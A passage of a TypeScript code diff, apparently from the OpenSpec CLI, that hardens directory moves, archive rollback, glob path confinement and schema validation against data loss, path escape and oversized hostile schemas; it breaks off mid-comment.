const fileHash = createHash('sha256');
|
||||
for await (const chunk of createReadStream(filePath)) {
|
||||
fileHash.update(chunk);
|
||||
}
|
||||
return fileHash.digest();
|
||||
}
|
||||
|
||||
async function fingerprintDirectoryContents(root: string): Promise<string> {
|
||||
const hash = createHash('sha256');
|
||||
const updateHashField = (label: string, value: string | Buffer): void => {
|
||||
@@ -386,13 +402,7 @@ async function fingerprintDirectoryContents(root: string): Promise<string> {
|
||||
hash.update(labelBuffer);
|
||||
hash.update(valueBuffer);
|
||||
};
|
||||
const fingerprintFile = async (filePath: string): Promise<Buffer> => {
|
||||
const fileHash = createHash('sha256');
|
||||
for await (const chunk of createReadStream(filePath)) {
|
||||
fileHash.update(chunk);
|
||||
}
|
||||
return fileHash.digest();
|
||||
};
|
||||
const fingerprintFile = fingerprintFileContents;
|
||||
|
||||
const visit = async (dir: string, relativeDir: string): Promise<void> => {
|
||||
const before = await fs.lstat(dir, { bigint: true });
|
||||
@@ -466,14 +476,225 @@ async function assertCopiedDirectoryUnchanged(
|
||||
|
||||
/**
|
||||
* Move a directory from src to dest. On Windows, fs.rename() can fail with
|
||||
* EPERM, and cross-device moves fail with EXDEV. When the source can first be
|
||||
* renamed to a private sibling, fall back to a verified copy-then-remove. A
|
||||
* source that cannot be staged is left untouched rather than copied and deleted
|
||||
* through a path another process may still be editing.
|
||||
* EPERM, and cross-device moves fail with EXDEV. Prefer renaming the source
|
||||
* to a private sibling first, then copy-then-remove. When that staging rename
|
||||
* also fails with EPERM/EXDEV — the usual Windows case for a directory that
|
||||
* still has children, because a watcher holds a directory-enumeration handle —
|
||||
* copy from the original source instead. Fingerprints still abort if the tree
|
||||
* changes mid-copy. A staging failure that is not EPERM/EXDEV still leaves
|
||||
* the source untouched rather than copying through a path we could not claim.
|
||||
*/
|
||||
class MoveDestinationRetainedError extends Error {}
|
||||
class RetirementBackupsRetainedError extends Error {}
|
||||
|
||||
function isFallbackRenameCode(code: string | undefined): boolean {
|
||||
return code === 'EPERM' || code === 'EXDEV';
|
||||
}
|
||||
|
||||
/**
|
||||
* Every entry under `root`, deepest first, as paths relative to it.
|
||||
*
|
||||
* The listing is what bounds the removal below. Anything that appears after it
|
||||
* is simply not in the set, so it cannot be deleted by the cleanup.
|
||||
*/
|
||||
async function listTreeEntriesDeepestFirst(
|
||||
root: string
|
||||
): Promise<TreeEntry[]> {
|
||||
const entries: TreeEntry[] = [];
|
||||
const visit = async (dir: string, relativeDir: string): Promise<void> => {
|
||||
for (const entry of await fs.readdir(dir, { withFileTypes: true })) {
|
||||
const relative = relativeDir === '' ? entry.name : path.join(relativeDir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
await visit(path.join(dir, entry.name), relative);
|
||||
entries.push({ relative, kind: 'directory' });
|
||||
} else {
|
||||
// A symlink to a directory is not a directory here, and its content is
|
||||
// its target, not bytes to read - reading one raises EISDIR. Record the
|
||||
// kind so cleanup compares each entry the way the copy wrote it.
|
||||
entries.push({ relative, kind: entry.isSymbolicLink() ? 'symlink' : 'file' });
|
||||
}
|
||||
}
|
||||
};
|
||||
await visit(root, '');
|
||||
return entries;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove exactly the entries that were copied and verified, deepest first.
|
||||
*
|
||||
* The move is only safe to finish by deleting the source, and the source of the
|
||||
* unstaged fallback is still the live change directory: the archive claim
|
||||
* covers the destination, not it. A recursive remove would delete whatever is
|
||||
* there at that moment, including a file a concurrent writer added after the
|
||||
* final fingerprint - data that never reached the destination.
|
||||
*
|
||||
* Removing a named set instead means a late arrival is never in it. It is left
|
||||
* on disk, and the `rmdir` of its parent fails with ENOTEMPTY, which the caller
|
||||
* reports as a retained destination. The move does not complete silently.
|
||||
*
|
||||
* `entries` must be listed before the final fingerprint, so that an arrival is
|
||||
* either caught by that fingerprint or absent from the set.
|
||||
*
|
||||
* An edit to a file that is already in the set is covered by claiming each file
|
||||
* before reading it: `rename` is atomic, so once a file is under its claim name
|
||||
* the bytes there are ours. A writer that rewrites the file by path after that
|
||||
* point creates a new file at the original path, which is not in `entries`, is
|
||||
* never deleted, and makes the parent `rmdir` fail with ENOTEMPTY - reported as
|
||||
* a retained destination. A writer that got there first is caught by comparing
|
||||
* the claimed bytes against the copy: on a mismatch the file is put back and
|
||||
* the move is abandoned with both trees intact, because the destination holds
|
||||
* the older content and deleting the source would lose the newer.
|
||||
*
|
||||
* What remains outside this, as for any copy, is a writer holding an open
|
||||
* descriptor that writes through it after the comparison. Staging is still
|
||||
* preferred whenever the rename is permitted at all.
|
||||
*/
|
||||
/**
|
||||
* A claim suffix no entry in this move can already carry.
|
||||
*
|
||||
* A fixed suffix collides with a source file that legitimately ends in it:
|
||||
* claiming `x` would rename it over a real `x.openspec-claim`, and that file's
|
||||
* own turn would then fail with ENOENT after part of the live source had
|
||||
* already been removed. So draw a fresh suffix per move and prove it against
|
||||
* the very set being removed - if no entry ends with the suffix, no claim of
|
||||
* one entry can land on another.
|
||||
*/
|
||||
function makeClaimSuffix(entries: TreeEntry[]): string {
|
||||
const names = entries.map((entry) => entry.relative);
|
||||
for (;;) {
|
||||
const suffix = `.openspec-claim-${randomUUID()}`;
|
||||
if (!names.some((name) => name.endsWith(suffix))) return suffix;
|
||||
}
|
||||
}
|
||||
|
||||
/** What the entry holds now, for comparison against the copy. */
|
||||
async function readEntryIdentity(
|
||||
entryPath: string,
|
||||
kind: 'file' | 'symlink'
|
||||
): Promise<string> {
|
||||
return kind === 'symlink'
|
||||
? `symlink:${await fs.readlink(entryPath)}`
|
||||
: `file:${(await fingerprintFileContents(entryPath)).toString('hex')}`;
|
||||
}
|
||||
|
||||
async function removeVerifiedTree(
|
||||
root: string,
|
||||
entries: TreeEntry[],
|
||||
destination: string
|
||||
): Promise<void> {
|
||||
const claimSuffix = makeClaimSuffix(entries);
|
||||
for (const entry of entries) {
|
||||
const target = path.join(root, entry.relative);
|
||||
if (entry.kind === 'directory') {
|
||||
await fs.rmdir(target);
|
||||
continue;
|
||||
}
|
||||
const claimed = target + claimSuffix;
|
||||
await fs.rename(target, claimed);
|
||||
let claimedIdentity: string;
|
||||
let copiedIdentity: string;
|
||||
try {
|
||||
claimedIdentity = await readEntryIdentity(claimed, entry.kind);
|
||||
copiedIdentity = await readEntryIdentity(
|
||||
path.join(destination, entry.relative),
|
||||
entry.kind
|
||||
);
|
||||
} catch (error) {
|
||||
await fs.rename(claimed, target).catch(() => undefined);
|
||||
throw error;
|
||||
}
|
||||
if (claimedIdentity !== copiedIdentity) {
|
||||
await fs.rename(claimed, target).catch(() => undefined);
|
||||
throw new Error(
|
||||
`${target} changed after it was verified, so the copy at ${destination} ` +
|
||||
'does not hold its current content.'
|
||||
);
|
||||
}
|
||||
await fs.rm(claimed, { force: true });
|
||||
}
|
||||
await fs.rmdir(root);
|
||||
}
|
||||
|
||||
async function copyThenRemoveDirectory(
|
||||
source: string,
|
||||
dest: string,
|
||||
options: {
|
||||
verifyCopiedDestination?: (copiedSource: string) => Promise<void>;
|
||||
},
|
||||
restoreSource?: () => Promise<void>
|
||||
): Promise<void> {
|
||||
let destIsOurs = false;
|
||||
let sourceFingerprint: string;
|
||||
try {
|
||||
sourceFingerprint = await fingerprintDirectoryContents(source);
|
||||
await fs.mkdir(dest, { mode: 0o700 });
|
||||
destIsOurs = true;
|
||||
await copyDirContents(source, dest);
|
||||
await options.verifyCopiedDestination?.(source);
|
||||
await assertCopiedDirectoryUnchanged(source, dest, sourceFingerprint);
|
||||
} catch (copyError) {
|
||||
if (destIsOurs) {
|
||||
await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
if (restoreSource) {
|
||||
try {
|
||||
await restoreSource();
|
||||
} catch (restoreError) {
|
||||
throw new Error(
|
||||
`${copyError instanceof Error ? copyError.message : String(copyError)} ` +
|
||||
`Could not restore the staged source at ${source} ` +
|
||||
`(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).`
|
||||
);
|
||||
}
|
||||
}
|
||||
if ((copyError as NodeJS.ErrnoException).code === 'EEXIST') {
|
||||
throw new ArchiveBlockedError(
|
||||
'archive_target_exists',
|
||||
`Archive '${path.basename(dest)}' already exists.`
|
||||
);
|
||||
}
|
||||
throw copyError;
|
||||
}
|
||||
let verifiedEntries: TreeEntry[];
|
||||
try {
|
||||
// Listed before the verification, not after it. A file that arrives before
|
||||
// the fingerprint changes it and aborts the move; one that arrives after is
|
||||
// not in this set. Listing afterwards would leave a window in which an
|
||||
// arrival is both unverified and deletable.
|
||||
verifiedEntries = await listTreeEntriesDeepestFirst(source);
|
||||
await options.verifyCopiedDestination?.(source);
|
||||
await assertCopiedDirectoryUnchanged(source, dest, sourceFingerprint);
|
||||
} catch (verificationError) {
|
||||
await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined);
|
||||
if (restoreSource) {
|
||||
try {
|
||||
await restoreSource();
|
||||
} catch (restoreError) {
|
||||
throw new Error(
|
||||
`${verificationError instanceof Error ? verificationError.message : String(verificationError)} ` +
|
||||
`Could not restore the staged source at ${source} ` +
|
||||
`(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).`
|
||||
);
|
||||
}
|
||||
}
|
||||
throw verificationError;
|
||||
}
|
||||
try {
|
||||
await removeVerifiedTree(source, verifiedEntries, dest);
|
||||
} catch (cleanupError) {
|
||||
// Removal may already have deleted part of the source, or stopped on an
|
||||
// entry that appeared after verification. The destination is now the only
|
||||
// complete copy, so never erase it while trying to make this failed move
|
||||
// look atomic.
|
||||
throw new MoveDestinationRetainedError(
|
||||
`Copied ${source} to ${dest}, but could not remove the source at ` +
|
||||
`${source} completely ` +
|
||||
`(${cleanupError instanceof Error ? cleanupError.message : String(cleanupError)}). ` +
|
||||
'The complete destination was retained for recovery.'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
async function moveDirectory(
|
||||
src: string,
|
||||
dest: string,
|
||||
@@ -493,76 +714,25 @@ async function moveDirectory(
|
||||
`Archive '${path.basename(dest)}' already exists.`
|
||||
);
|
||||
}
|
||||
if (code === 'EPERM' || code === 'EXDEV') {
|
||||
if (isFallbackRenameCode(code)) {
|
||||
const stagedSource = path.join(path.dirname(src), `.openspec-move-${randomUUID()}`);
|
||||
try {
|
||||
await fs.rename(src, stagedSource);
|
||||
} catch (stageError) {
|
||||
const stageCode = (stageError as NodeJS.ErrnoException)?.code;
|
||||
if (isFallbackRenameCode(stageCode)) {
|
||||
await copyThenRemoveDirectory(src, dest, options);
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
`Could not safely stage ${src} before the fallback archive copy ` +
|
||||
`(${stageError instanceof Error ? stageError.message : String(stageError)}). ` +
|
||||
'No fallback copy was attempted.'
|
||||
);
|
||||
}
|
||||
let destIsOurs = false;
|
||||
let stagedFingerprint: string;
|
||||
try {
|
||||
stagedFingerprint = await fingerprintDirectoryContents(stagedSource);
|
||||
await fs.mkdir(dest, { mode: 0o700 });
|
||||
destIsOurs = true;
|
||||
await copyDirContents(stagedSource, dest);
|
||||
await options.verifyCopiedDestination?.(stagedSource);
|
||||
await assertCopiedDirectoryUnchanged(stagedSource, dest, stagedFingerprint);
|
||||
} catch (copyError) {
|
||||
if (destIsOurs) {
|
||||
await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined);
|
||||
}
|
||||
try {
|
||||
await fs.rename(stagedSource, src);
|
||||
} catch (restoreError) {
|
||||
throw new Error(
|
||||
`${copyError instanceof Error ? copyError.message : String(copyError)} ` +
|
||||
`Could not restore the staged source at ${stagedSource} ` +
|
||||
`(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).`
|
||||
);
|
||||
}
|
||||
if ((copyError as NodeJS.ErrnoException).code === 'EEXIST') {
|
||||
throw new ArchiveBlockedError(
|
||||
'archive_target_exists',
|
||||
`Archive '${path.basename(dest)}' already exists.`
|
||||
);
|
||||
}
|
||||
throw copyError;
|
||||
}
|
||||
try {
|
||||
await options.verifyCopiedDestination?.(stagedSource);
|
||||
await assertCopiedDirectoryUnchanged(stagedSource, dest, stagedFingerprint);
|
||||
} catch (verificationError) {
|
||||
await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined);
|
||||
try {
|
||||
await fs.rename(stagedSource, src);
|
||||
} catch (restoreError) {
|
||||
throw new Error(
|
||||
`${verificationError instanceof Error ? verificationError.message : String(verificationError)} ` +
|
||||
`Could not restore the staged source at ${stagedSource} ` +
|
||||
`(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).`
|
||||
);
|
||||
}
|
||||
throw verificationError;
|
||||
}
|
||||
try {
|
||||
await fs.rm(stagedSource, { recursive: true, force: true });
|
||||
} catch (cleanupError) {
|
||||
// Recursive removal may already have deleted part of the source. The
|
||||
// destination is now the only complete copy, so never erase it while
|
||||
// trying to make this failed move look atomic.
|
||||
throw new MoveDestinationRetainedError(
|
||||
`Copied ${src} to ${dest}, but could not remove the staged source at ` +
|
||||
`${stagedSource} completely ` +
|
||||
`(${cleanupError instanceof Error ? cleanupError.message : String(cleanupError)}). ` +
|
||||
'The complete destination was retained for recovery.'
|
||||
);
|
||||
}
|
||||
await copyThenRemoveDirectory(stagedSource, dest, options, async () => {
|
||||
await fs.rename(stagedSource, src);
|
||||
});
|
||||
} else {
|
||||
throw err;
|
||||
}
|
||||
@@ -594,6 +764,21 @@ interface ArchiveClaim {
|
||||
contents: string;
|
||||
}
|
||||
|
||||
interface ArchiveClaimFileIdentity {
|
||||
dev: bigint;
|
||||
ino: bigint;
|
||||
}
|
||||
|
||||
function isSameArchiveClaimFile(
|
||||
first: ArchiveClaimFileIdentity,
|
||||
second: ArchiveClaimFileIdentity
|
||||
): boolean {
|
||||
return (
|
||||
first.ino === second.ino &&
|
||||
(first.dev === second.dev || first.dev === 0n || second.dev === 0n)
|
||||
);
|
||||
}
|
||||
|
||||
async function releaseArchiveClaim(
|
||||
claim: ArchiveClaim,
|
||||
claimPath: string
|
||||
@@ -609,10 +794,8 @@ async function releaseArchiveClaim(
|
||||
const contents = await fs.readFile(claimPath, 'utf8');
|
||||
const currentAfterRead = await fs.lstat(claimPath, { bigint: true });
|
||||
if (
|
||||
current.dev === owned.dev &&
|
||||
current.ino === owned.ino &&
|
||||
current.dev === currentAfterRead.dev &&
|
||||
current.ino === currentAfterRead.ino &&
|
||||
isSameArchiveClaimFile(current, owned) &&
|
||||
isSameArchiveClaimFile(current, currentAfterRead) &&
|
||||
contents === claim.contents
|
||||
) {
|
||||
await fs.unlink(claimPath);
|
||||
@@ -656,6 +839,14 @@ async function claimArchiveDestination(
|
||||
interface SpecSnapshot {
|
||||
target: string;
|
||||
existed: boolean;
|
||||
/**
|
||||
* The deepest directory at or above the target's parent that already existed
|
||||
* before the mutation. Rollback prunes up to but never past it, so a
|
||||
* capability directory the user already had keeps its permissions and ACLs -
|
||||
* including an intermediate one under a nested capability id, where only the
|
||||
* leaf was created by this write.
|
||||
*/
|
||||
pruneBoundary?: string;
|
||||
outcome: 'write' | 'retire';
|
||||
expectedContent?: Buffer;
|
||||
content?: Buffer;
|
||||
@@ -845,7 +1036,31 @@ async function assertDistinctMutationTargets(mutations: SpecMutation[]): Promise
|
||||
}
|
||||
}
|
||||
|
||||
async function captureSpecSnapshots(mutations: SpecMutation[]): Promise<SpecSnapshot[]> {
|
||||
/**
|
||||
* The deepest directory at or above `dir` that exists, never going above
|
||||
* `boundaryDir`. Used as the floor for a rollback prune: everything below it
|
||||
* was created by the write being undone, and it was not.
|
||||
*/
|
||||
async function deepestExistingAncestor(dir: string, boundaryDir: string): Promise<string> {
|
||||
let current = dir;
|
||||
for (;;) {
|
||||
if (current === boundaryDir || !current.startsWith(boundaryDir + path.sep)) {
|
||||
return boundaryDir;
|
||||
}
|
||||
try {
|
||||
await fs.lstat(current);
|
||||
return current;
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error;
|
||||
}
|
||||
current = path.dirname(current);
|
||||
}
|
||||
}
|
||||
|
||||
async function captureSpecSnapshots(
|
||||
mutations: SpecMutation[],
|
||||
mainSpecsDir: string
|
||||
): Promise<SpecSnapshot[]> {
|
||||
return Promise.all(
|
||||
mutations.map(async ({ update, outcome, rebuilt }) => {
|
||||
try {
|
||||
@@ -891,6 +1106,10 @@ async function captureSpecSnapshots(mutations: SpecMutation[]): Promise<SpecSnap
|
||||
target: update.target,
|
||||
existed: false,
|
||||
outcome,
|
||||
pruneBoundary: await deepestExistingAncestor(
|
||||
path.dirname(update.target),
|
||||
mainSpecsDir
|
||||
),
|
||||
...(outcome === 'write' ? { expectedContent: Buffer.from(rebuilt) } : {}),
|
||||
};
|
||||
}
|
||||
@@ -900,7 +1119,10 @@ async function captureSpecSnapshots(mutations: SpecMutation[]): Promise<SpecSnap
|
||||
);
|
||||
}
|
||||
|
||||
async function restoreSpecSnapshots(snapshots: SpecSnapshot[]): Promise<void> {
|
||||
async function restoreSpecSnapshots(
|
||||
snapshots: SpecSnapshot[],
|
||||
mainSpecsDir: string
|
||||
): Promise<void> {
|
||||
const errors: Error[] = [];
|
||||
for (const snapshot of [...snapshots].reverse()) {
|
||||
try {
|
||||
@@ -991,6 +1213,13 @@ async function restoreSpecSnapshots(snapshots: SpecSnapshot[]): Promise<void> {
|
||||
|
||||
if (!snapshot.existed) {
|
||||
await fs.rm(snapshot.target, { force: true });
|
||||
// Only a capability directory this write created is ours to take back.
|
||||
// One the user already had stays, empty or not, with its own mode -
|
||||
// pruneEmptyDirs never removes its boundary.
|
||||
await pruneEmptyDirs(
|
||||
path.dirname(snapshot.target),
|
||||
snapshot.pruneBoundary ?? mainSpecsDir
|
||||
);
|
||||
continue;
|
||||
}
|
||||
if (snapshot.symlink !== undefined) {
|
||||
@@ -1177,6 +1406,19 @@ export class ArchiveCommand {
|
||||
);
|
||||
}
|
||||
|
||||
// Archiving a namespace folder moves an active, unfinished change into the
|
||||
// archive under a name nobody will look for, and never applies its deltas.
|
||||
// That is silent data loss, so it is refused outright rather than warned
|
||||
// about (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new ArchiveBlockedError(
|
||||
'archive_change_is_namespace_folder',
|
||||
`Cannot archive '${changeName}': ${describeNestedChange(nested)}`,
|
||||
`Rename openspec/changes/${nested.nested[0]}/ to a flat change directory, then archive it.`
|
||||
);
|
||||
}
|
||||
|
||||
const skipValidation = options.validate === false || options.noValidate === true;
|
||||
|
||||
// Validate specs and change before archiving
|
||||
@@ -1225,6 +1467,13 @@ export class ArchiveCommand {
|
||||
// folder, so only a regular file counts.
|
||||
const rootSpecStat = await fs.stat(path.join(changeSpecsDir, 'spec.md')).catch(() => null);
|
||||
let hasDeltaSpecs = rootSpecStat?.isFile() === true;
|
||||
// Likewise for delta sections in any other file the merge path does not
|
||||
// read (specs/<capability>.md, a note beside spec.md): without this the
|
||||
// zero-delta leniency below archives the change as done with nothing
|
||||
// merged, although validate rejects it.
|
||||
if (!hasDeltaSpecs) {
|
||||
hasDeltaSpecs = (await findUnreadDeltaFiles(changeSpecsDir)).length > 0;
|
||||
}
|
||||
// A change that declares skip_specs must not carry any file under
|
||||
// specs/ — validate reports that as a conflict, so archive has to run
|
||||
// the same check instead of skipping validation because the files
|
||||
@@ -1719,7 +1968,7 @@ export class ArchiveCommand {
|
||||
);
|
||||
}
|
||||
}
|
||||
const specSnapshots = await captureSpecSnapshots(mutations);
|
||||
const specSnapshots = await captureSpecSnapshots(mutations, mainSpecsDir);
|
||||
const specSnapshotsByTarget = new Map(
|
||||
specSnapshots.map((snapshot) => [snapshot.target, snapshot])
|
||||
);
|
||||
@@ -1991,7 +2240,8 @@ export class ArchiveCommand {
|
||||
const rollbackErrors: Error[] = [];
|
||||
try {
|
||||
await restoreSpecSnapshots(
|
||||
specSnapshots.filter(({ target }) => mutationAttempts.has(target))
|
||||
specSnapshots.filter(({ target }) => mutationAttempts.has(target)),
|
||||
mainSpecsDir
|
||||
);
|
||||
} catch (rollbackError) {
|
||||
rollbackErrors.push(
|
||||
|
||||
@@ -3,11 +3,31 @@ import * as path from 'node:path';
|
||||
import fg from 'fast-glob';
|
||||
import { FileSystemUtils } from '../../utils/file-system.js';
|
||||
|
||||
const EXTGLOB_RE = /[!*+?@]\([^(]*\)/u;
|
||||
const BRACE_EXPANSION_SEPARATORS_RE = /,|\.\./u;
|
||||
|
||||
function hasBraceExpansion(pattern: string): boolean {
|
||||
const openings: number[] = [];
|
||||
for (let index = 0; index < pattern.length; index += 1) {
|
||||
if (pattern[index] === '{') openings.push(index);
|
||||
if (pattern[index] !== '}') continue;
|
||||
const opening = openings.pop();
|
||||
if (opening !== undefined && BRACE_EXPANSION_SEPARATORS_RE.test(pattern.slice(opening, index))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a path contains glob pattern characters.
|
||||
* Recognizes artifact globs while preserving literal output filenames.
|
||||
*/
|
||||
export function isGlobPattern(pattern: string): boolean {
|
||||
return pattern.includes('*') || pattern.includes('?') || pattern.includes('[');
|
||||
// Keep the original wildcard rules and recognize brace expansions and extglobs.
|
||||
// Its full dynamic predicate also reinterprets literal !, parentheses, and backslashes.
|
||||
const normalized = FileSystemUtils.toPosixPath(pattern);
|
||||
return normalized.includes('*') || normalized.includes('?') || normalized.includes('[')
|
||||
|| EXTGLOB_RE.test(normalized) || hasBraceExpansion(normalized);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -108,20 +128,30 @@ export function resolveArtifactOutputs(changeDir: string, generates: string): st
|
||||
}
|
||||
|
||||
const normalizedPattern = FileSystemUtils.toPosixPath(generates);
|
||||
assertGlobDirectoryTraversal(
|
||||
changeDir,
|
||||
changeDir,
|
||||
normalizedPattern.split('/').slice(0, -1)
|
||||
);
|
||||
const globOptions = {
|
||||
cwd: changeDir,
|
||||
onlyFiles: true,
|
||||
absolute: true,
|
||||
// Preserve linked artifact directories; confine traversal and concrete matches.
|
||||
followSymbolicLinks: true,
|
||||
};
|
||||
// Task generation expands braces without accessing the filesystem. Validate
|
||||
// every task base before globbing, including paths introduced by expansion.
|
||||
const tasks = fg.generateTasks(normalizedPattern, globOptions);
|
||||
for (const task of tasks) {
|
||||
FileSystemUtils.assertPathWithin(changeDir, path.resolve(changeDir, task.base));
|
||||
}
|
||||
for (const task of tasks) {
|
||||
for (const positivePattern of task.positive) {
|
||||
assertGlobDirectoryTraversal(
|
||||
changeDir,
|
||||
changeDir,
|
||||
positivePattern.split('/').slice(0, -1)
|
||||
);
|
||||
}
|
||||
}
|
||||
const matches = fg
|
||||
.sync(normalizedPattern, {
|
||||
cwd: changeDir,
|
||||
onlyFiles: true,
|
||||
absolute: true,
|
||||
// Preserve existing support for linked artifact directories. Every
|
||||
// concrete match is canonically confined below before it is returned.
|
||||
followSymbolicLinks: true,
|
||||
})
|
||||
.sync(normalizedPattern, globOptions)
|
||||
.map((match) => {
|
||||
const normalizedMatch = path.normalize(match);
|
||||
FileSystemUtils.assertPathWithin(changeDir, normalizedMatch);
|
||||
|
||||
@@ -38,6 +38,9 @@ export function parseSchema(yamlContent: string): SchemaYaml {
|
||||
// Check that all requires references are valid
|
||||
validateRequiresReferences(schema.artifacts);
|
||||
|
||||
// Check that the apply phase names artifacts this schema declares
|
||||
validateApplyReferences(schema);
|
||||
|
||||
// Check for cycles
|
||||
validateNoCycles(schema.artifacts);
|
||||
|
||||
@@ -74,6 +77,61 @@ function validateRequiresReferences(artifacts: Artifact[]): void {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that every `apply.requires` id is an artifact the schema declares.
|
||||
*
|
||||
* Apply skips an id that no artifact declares, so a typo silently dropped that
|
||||
* artifact from the apply gate. An unknown artifact `requires` is already a
|
||||
* load error, and this is the same kind of reference.
|
||||
*
|
||||
* `apply.tracks` is deliberately not checked here. It is a path, not an id:
|
||||
* apply reads it as written, so a schema whose `tracks` value does not exactly
|
||||
* match any `generates` value (a hand-written `TODO.md`, or `tasks/main.md`
|
||||
* under a glob `generates: tasks/*.md` that really does produce it) works
|
||||
* today, and failing the load would break every command on it.
|
||||
* `openspec schema validate` reports that case as a warning instead
|
||||
* (see `findApplyTracksWarning`).
|
||||
*/
|
||||
function validateApplyReferences(schema: SchemaYaml): void {
|
||||
const apply = schema.apply;
|
||||
if (!apply) return;
|
||||
|
||||
const validIds = schema.artifacts.map(a => a.id);
|
||||
for (const req of apply.requires) {
|
||||
if (!validIds.includes(req)) {
|
||||
throw new SchemaValidationError(
|
||||
`Invalid apply.requires reference: '${req}' does not exist (artifacts: ${validIds.join(', ')})`
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Describes an `apply.tracks` value that is not exactly equal to any artifact's
|
||||
* `generates` value, or returns undefined when there is nothing to report.
|
||||
*
|
||||
* The tracked-tasks lookups select the artifact whose `generates` string equals
|
||||
* `tracks`, so this is a progress-discovery problem, not a claim that nothing
|
||||
* produces the file: a glob `generates: tasks/*.md` really does generate
|
||||
* `tracks: tasks/main.md`, yet the strings differ, so the lookup still misses.
|
||||
* Either way apply keeps working (it reads the path directly), but `openspec
|
||||
* list` and `openspec status` fall back to counting the top-level `tasks.md`,
|
||||
* and apply's remedy cannot name an artifact to build. A typo such as
|
||||
* `task.md` is the other usual cause.
|
||||
*/
|
||||
export function findApplyTracksWarning(schema: SchemaYaml): string | undefined {
|
||||
const tracks = schema.apply?.tracks;
|
||||
if (tracks == null || schema.artifacts.some(a => a.generates === tracks)) return undefined;
|
||||
return (
|
||||
`apply.tracks '${tracks}' does not exactly match any artifact's generates value ` +
|
||||
`(generates: ${schema.artifacts.map(a => a.generates).join(', ')}), ` +
|
||||
`so OpenSpec cannot tell which artifact's progress it tracks. ` +
|
||||
`Apply still reads that file as written, but list and status count tasks.md instead. ` +
|
||||
`Make apply.tracks exactly equal one of those generates values, ` +
|
||||
`or confirm that file is maintained outside the artifact graph.`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that there are no cyclic dependencies.
|
||||
* Uses DFS to detect cycles and reports the full cycle path.
|
||||
|
||||
@@ -22,6 +22,10 @@ function relativePathSchema(fieldName: string) {
|
||||
}
|
||||
|
||||
// Artifact definition schema
|
||||
// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
|
||||
// DFS well inside the stack limit for any accepted input.
|
||||
const MAX_ARTIFACTS = 1000;
|
||||
|
||||
export const ArtifactSchema = z.object({
|
||||
id: z.string().min(1, { error: 'Artifact ID is required' }),
|
||||
generates: relativePathSchema('generates field'),
|
||||
@@ -46,7 +50,15 @@ export const SchemaYamlSchema = z.object({
|
||||
name: z.string().min(1, { error: 'Schema name is required' }),
|
||||
version: z.number().int().positive({ error: 'Version must be a positive integer' }),
|
||||
description: z.string().optional(),
|
||||
artifacts: z.array(ArtifactSchema).min(1, { error: 'At least one artifact required' }),
|
||||
artifacts: z
|
||||
.array(ArtifactSchema)
|
||||
.min(1, { error: 'At least one artifact required' })
|
||||
// Bounded so a hostile schema cannot drive the cycle-detection DFS past the
|
||||
// V8 stack limit and crash with an uncaught RangeError instead of a
|
||||
// validation error.
|
||||
.max(MAX_ARTIFACTS, {
|
||||
error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
|
||||
}),
|
||||
// Optional apply phase configuration (for schema-aware apply instructions)
|
||||
apply: ApplyPhaseSchema.optional(),
|
||||
});
|
||||
|
||||
@@ -62,20 +62,41 @@ export function buildActionContext(input: ActionContextInput): ActionContext {
|
||||
};
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
/**
|
||||
* The one next action for a change, in both the forms the CLI needs.
|
||||
*
|
||||
* `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
|
||||
* bare command the text surface prints. Both are built here so the two
|
||||
* surfaces can never name a different next step.
|
||||
*/
|
||||
export interface ChangeNextStep {
|
||||
/** Ready-to-run command, including any `--store` flag. */
|
||||
command: string;
|
||||
/** Sentence form carried by the JSON `nextSteps` array. */
|
||||
sentence: string;
|
||||
}
|
||||
|
||||
export function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined {
|
||||
const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
|
||||
const steps: string[] = [];
|
||||
const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
|
||||
|
||||
if (readyArtifact) {
|
||||
steps.push(
|
||||
`Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`
|
||||
);
|
||||
} else if (input.allArtifactsComplete) {
|
||||
steps.push(
|
||||
`All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`
|
||||
);
|
||||
const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
|
||||
return { command, sentence: `Run ${command} before writing that artifact.` };
|
||||
}
|
||||
|
||||
return steps;
|
||||
if (input.allArtifactsComplete) {
|
||||
const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
|
||||
return {
|
||||
command,
|
||||
sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
|
||||
};
|
||||
}
|
||||
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
const step = resolveNextStep(input);
|
||||
return step ? [step.sentence] : [];
|
||||
}
|
||||
|
||||
@@ -21,12 +21,16 @@ export const continueAdapter: ToolCommandAdapter = {
|
||||
},
|
||||
|
||||
formatFile(content: CommandContent): string {
|
||||
// Continue injects an invoked prompt into the model context. Smaller local
|
||||
